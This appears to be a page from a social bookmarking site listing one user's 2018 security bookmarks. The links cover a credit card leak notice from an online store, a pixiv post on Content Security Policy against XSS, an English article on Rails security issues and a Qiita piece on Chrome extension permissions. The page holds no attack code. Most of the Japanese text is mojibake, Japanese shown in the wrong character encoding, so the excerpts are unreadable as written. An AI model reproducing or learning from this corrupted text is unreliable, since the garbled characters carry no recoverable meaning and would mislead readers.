ã“ã®ãŸã³ã€å¼Šç¤¾ãŒè–æ•™æ–°èžç¤¾æ§˜ã‚ˆã‚Šé‹å–¶ã‚’å§”è¨—ã•ã‚Œã¦ã„ã‚‹ã€Œï¼³ï¼¯ï¼«ï¼¡ã‚ªãƒ³ãƒ©ã‚¤ãƒ³ã‚¹ãƒˆã‚¢ã€ã«ãŠã„ã¦ã€ã‚¯ãƒ¬ã‚¸ãƒƒãƒˆã‚«ãƒ¼ãƒ‰æƒ…å ±ã‚’å…¥åŠ›ã—ã¦å•†å“ã‚’ã”æ³¨æ–‡ã„ãŸã ã„ãŸä¸€éƒ¨ã®ãŠå®¢ã•ã¾ã®ã‚¯ãƒ¬ã‚¸ãƒƒãƒˆã‚«ãƒ¼ãƒ‰æƒ…å ±ãŒã€ç¬¬ä¸‰è€…ã«ã‚ˆã£ã¦ä¸æ£ã«å–å¾—ã•ã‚ŒãŸå¯èƒ½æ€§ãŒã‚ã‚‹ã“ã¨ãŒç™ºè¦šã„ ãŸã—ã¾ã—ãŸã€‚ http
willnet 2018/10/15
security
ãƒªãƒ³ã‚¯
Content Security Policy Level 3ã«ãŠã‘ã‚‹XSSå¯¾ç– - pixiv inside
ã“ã‚“ã«ã¡ã¯ã€ã‚»ã‚ãƒ¥ãƒªãƒ†ã‚£ã‚¨ãƒ³ã‚¸ãƒ‹ã‚¢ã®koboã§ã™ã€‚ãƒ”ã‚¯ã‚·ãƒ–ã«ã¯2018å¹´4æœˆã«å…¥ç¤¾ã—ã¦ãŠã‚Šã€ã‚»ã‚ãƒ¥ãƒªãƒ†ã‚£è¦³ç‚¹ã§ã®ã‚¢ãƒ—ãƒªã‚±ãƒ¼ã‚·ãƒ§ãƒ³é–‹ç™ºã‚„è„†å¼±æ€§å ±å¥¨é‡‘åˆ¶åº¦ã®é‹ç”¨ãªã©ã‚’è¡Œã£ã¦ã„ã¾ã™ã€‚ æœ¬è¨˜äº‹ã§ã¯ã€ç¾åœ¨ãƒ”ã‚¯ã‚·ãƒ–ã®ä¸€éƒ¨ã®ã‚µãƒ¼ãƒ“ã‚¹ã§å–ã‚Šçµ„ã‚“ã§ã„ã‚‹Content Security Policyã«ã¤ã„ã¦çŸ¥è¦‹ã‚’å…±æœ‰ã—ã¾ã™ã€‚ æ¦‚è¦ Content Security Policy (CSP) ã¯ã€XSSã‚’ä¸»ã¨ã—ãŸã‚¦ã‚§ãƒ–ã‚¢ãƒ—ãƒªã‚±ãƒ¼ã‚·ãƒ§ãƒ³ã‚»ã‚ãƒ¥ãƒªãƒ†ã‚£ã®å•é¡Œã‚’è»½æ¸›ã™ã‚‹ãŸã‚ã«è€ƒæ¡ˆã•ã‚ŒãŸãƒ–ãƒ©ã‚¦ã‚¶ã®ã‚»ã‚ãƒ¥ãƒªãƒ†ã‚£æ©Ÿæ§‹ã§ã™ã€‚ ã‚¦ã‚§ãƒ–ã‚¢ãƒ—ãƒªã‚±ãƒ¼ã‚·ãƒ§ãƒ³ã¯ã€ Content-Security-Policy ãƒ˜ãƒƒãƒ€ã‚’HTTPãƒ¬ã‚¹ãƒãƒ³ã‚¹ã«å«ã‚ã‚‹ã“ã¨ã§ã€æ„å›³ã—ã¦ã„ãªã„JavaScriptã®å®Ÿè¡Œã‚„ãƒªã‚½ãƒ¼ã‚¹ã®èªã¿è¾¼ã¿ã‚’ãƒ–ãƒ©ã‚¦ã‚¶å´ã§åˆ¶é™ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚ CSPã¯2012å¹´é ƒã‚ˆã‚Šãƒ–ãƒ©ã‚¦ã‚¶ã«å®Ÿè£…ã•ã‚Œã¦ã„ã¾ã™ãŒã€2016å¹´ã®Googleã®èª¿æŸ»ã«ã‚ˆ
willnet 2018/10/05
é¢ç™½ã‹ã£ãŸ

security
ãƒªãƒ³ã‚¯
5 security issues in Ruby on Rails apps from real life - frontdeveloper.pl
â€¦and how to fix them ðŸ™‚ I have had several opportunities to find and fix various security issues within Ruby on Rails applications over time. Based on my own experience I would like to help you with making Rails apps more secure. At the same time, I hope that you wonâ€™t find any of the below issues in any of your apps. If you want to have a better understanding of built-in Ruby on Rails security me
willnet 2018/10/05
security

rails
ãƒªãƒ³ã‚¯
ãƒ–ãƒ©ã‚¦ã‚¶æ‹¡å¼µã®æ¨©é™ã§ã©ã“ã¾ã§æ‚ªã„ã“ã¨ã‚’ã§ãã‚‹ã®ã‹ï¼Ÿã¨ãã®å¯¾ç–ã€ãƒ‡ãƒ¢ã‚ã‚Šã€‘ - Qiita
[2018/07/07 è¿½è¨˜] æœ¬è¨˜äº‹ã§ã¯Chromeæ‹¡å¼µã«ã¤ã„ã¦èª¬æ˜Žã—ã¦ã„ã¾ã™ãŒã€Firefox1ã‚„Edgeã®æ‹¡å¼µæ©Ÿèƒ½ã‚‚ã»ã¼åŒã˜ä»•çµ„ã¿ã§å‹•ã„ã¦ã„ã¾ã™ã€‚ [2023/11/06 è¿½è¨˜] #å‚è€ƒ ãƒšãƒ¼ã‚¸ã‚’è¿½åŠ ã—ã¾ã—ãŸã€‚ Chromeæ‹¡å¼µã€‚ä¾¿åˆ©ãªæ©Ÿèƒ½ã‚’ç°¡å˜ã«è¿½åŠ ã§ãã‚‹ã®ã§ä½¿ã£ã¦ã„ã‚‹äººã‚‚å¤šã„ã¨æ€ã„ã¾ã™ã€‚ ãŸã ã€ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«æ™‚ã®æ¨©é™ã®æ³¨æ„æ›¸ããŒåˆ†ã‹ã‚Šé›£ã„ã®ã§ç„¡æ¡ä»¶ã«æ‰¿èªï¼ˆè¿½åŠ ï¼‰ã—ã¦ã„ã‚‹ã“ã¨ã‚‚ã‚ã‚‹ã®ã§ã¯ãªã„ã‹ã¨æ€ã‚ã‚Œã¾ã™ã€‚ ãã“ã§ã€æœ¬è¨˜äº‹ã§ã¯Chromeæ‹¡å¼µã®æ¨©é™ã®ç¨®é¡žãƒ»ç¢ºèªæ–¹æ³•ã®ä»–ã€æ‹¡å¼µãŒã©ã“ã¾ã§ï¼ˆæ‚ªã„ã“ã¨ã‚’ï¼‰ã§ãã‚‹ã®ã‹ã¨ãã®å¯¾ç–ã‚’3æ®µéšŽã®æ¨©é™ï¼ˆå±é™ºæ€§ï¼‰ãƒ¬ãƒ™ãƒ«ã”ã¨ã«ç´¹ä»‹ã—ã¦ã„ããŸã„ã¨æ€ã„ã¾ã™ã€‚ ä¾¿åˆ©ã ãŒå±é™ºæ€§ã‚‚ã‚ã‚‹Chromeæ‹¡å¼µ Chromeæ‹¡å¼µã‚’ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã™ã‚‹ã¨ã€Webãƒšãƒ¼ã‚¸ã‚’èªã‚€ã¨ã„ã†ãƒ–ãƒ©ã‚¦ã‚¶æœ¬æ¥ã®æ©Ÿèƒ½ã ã‘ã§ãªãæ§˜ã€…ãªã“ã¨ãŒã§ãã‚‹ã‚ˆã†ã«ãªã‚Šã¾ã™ã€‚ ä¾‹ãˆã°ã€Webãƒ¡ãƒ¼ãƒ«ã®æ–°ç€é€šçŸ¥ã‚„è¨˜äº‹ãªã©ã®
willnet 2018/09/10
security
ãƒªãƒ³ã‚¯
1 2 3 4 5 6 7 8 9 10 æ¬¡ã®ãƒšãƒ¼ã‚¸